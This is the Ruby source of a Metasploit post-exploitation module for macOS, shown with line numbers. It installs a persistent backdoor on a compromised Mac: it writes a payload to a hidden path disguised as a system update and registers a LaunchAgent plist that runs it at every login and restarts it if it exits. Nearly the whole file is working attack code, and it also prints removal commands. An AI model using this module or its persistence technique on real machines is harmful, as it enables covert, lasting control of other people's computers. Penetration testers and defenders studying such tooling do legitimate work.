CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'shellwords'
7

8
class MetasploitModule < Msf::Exploit::Local
9
  Rank = ExcellentRanking
10

11
  include Msf::Post::Common
12
  include Msf::Post::File
13
  include Msf::Exploit::EXE
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        'Name' => 'Mac OS X Persistent Payload Installer',
20
        'Description' => %q{
21
          This module provides a persistent boot payload by creating a plist entry
22
          in current user's ~/Library/LaunchAgents directory. Whenever the user logs in,
23
          the LaunchAgent will be invoked and this dropped payload will run.
24
        },
25
        'License' => MSF_LICENSE,
26
        'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
27
        'Targets' => [
28
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
29
          [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
30
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
31
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
32
        ],
33
        'DefaultTarget' => 0,
34
        'SessionTypes' => [ 'shell', 'meterpreter' ],
35
        'DisclosureDate' => '2012-04-01',
36
        'Platform' => [ 'osx', 'python', 'unix' ]
37
      )
38
    )
39

40
    register_options([
41
      OptString.new('BACKDOOR_PATH',
42
        [true, 'Path to hide the backdoor on the target.',
43
         '~/Library/.<random>/com.system.update']
44
      ),
45
      OptBool.new('KEEPALIVE',
46
        [true, 'Continually restart the payload exe if it crashes/exits.', true]
47
      ),
48
      OptBool.new('RUN_NOW',
49
        [false, 'Run the installed payload immediately.', false]
50
      )
51
    ])
52
  end
53

54
  def exploit
55
    check_for_duplicate_entry
56

57
    if target['Arch'] == ARCH_PYTHON
58
      payload_bin = "#!/usr/bin/env python\n" + payload.encoded
59
    elsif target['Arch'] == ARCH_CMD
60
      payload_bin = "#!/usr/bin/env bash\n" + payload.raw
61
    else
62
      payload_bin = generate_payload_exe
63
    end
64

65
    # Store backdoor on target machine
66
    write_backdoor(payload_bin)
67
    # Add plist file to LaunchAgents dir
68
    add_launchctl_item
69
    # tell the user how to remove the persistence if necessary
70
    list_removal_paths
71
  end
72

73
  private
74

75
  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
76
  def add_launchctl_item
77
    label = File.basename(backdoor_path)
78
    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
79
    # Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
80
    item = <<-EOI
81
    <?xml version="1.0" encoding="UTF-8"?>
82
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
83
    <plist version="1.0">
84
      <dict>
85
        <key>Label</key>
86
        <string>#{label}</string>
87
        <key>Program</key>
88
        <string>#{backdoor_path}</string>
89
        <key>ProgramArguments</key>
90
        <array>
91
          <string>#{backdoor_path}</string>
92
        </array>
93
        <key>RunAtLoad</key>
94
        <true/>
95
        <key>OnDemand</key>
96
        <#{keepalive?}/>
97
        <key>KeepAlive</key>
98
        <#{keepalive?}/>
99
      </dict>
100
    </plist>
101
    EOI
102

103
    if write_file(plist_path, item)
104
      print_good("LaunchAgent added: #{plist_path}")
105
    else
106
      fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
107
    end
108

109
    if run_now?
110
      cmd_exec("launchctl load -w #{plist_path.shellescape}")
111
    end
112

113
    print_good('LaunchAgent installed successfully.')
114
  end
115

116
  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
117
  # @return [String] path to drop the backdoor payload.
118
  def backdoor_path
119
    @backdoor_path ||= (datastore['BACKDOOR_PATH']
120
      .gsub('<random>'){ Rex::Text.rand_text_alpha(8) }
121
      .gsub(/^~\//, "/Users/#{user}/"))
122
  end
123

124
  # raises an error if a Launch Agent already exists at desired same plist_path
125
  def check_for_duplicate_entry
126
    if file?(plist_path)
127
      fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
128
    end
129
  end
130

131
  # @return [Boolean] user wants the persistence to be restarted constantly if it exits
132
  def keepalive?
133
    datastore['KEEPALIVE']
134
  end
135

136
  # useful if you want to remove the persistence.
137
  # prints out a list of paths to remove and commands to run.
138
  def list_removal_paths
139
    removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
140
    removal_command << " ; rm #{plist_path}"
141
    removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
142
    removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
143
    print_status("To remove the persistence, run:\n#{removal_command}\n")
144
  end
145

146
  # path to the LaunchAgent service configuration plist
147
  # @return [String] path to the LaunchAgent service
148
  def plist_path
149
    @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"
150
  end
151

152
  # @return [Boolean] user wants to launch the LaunchAgent immediately
153
  def run_now?
154
    datastore['RUN_NOW']
155
  end
156

157
  # @return [String] username of the session
158
  def user
159
    @user ||= cmd_exec('whoami').strip
160
  end
161

162
  # drops the file to disk, then makes it executable
163
  # @param [String] exe the executable to drop
164
  def write_backdoor(exe)
165
    print_status('Dropping backdoor executable...')
166
    cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
167

168
    if write_file(backdoor_path, exe)
169
      print_good("Backdoor stored to #{backdoor_path}")
170
      cmd_exec("chmod +x #{backdoor_path.shellescape}")
171
    else
172
      fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
173
    end
174
  end
175
end
176

177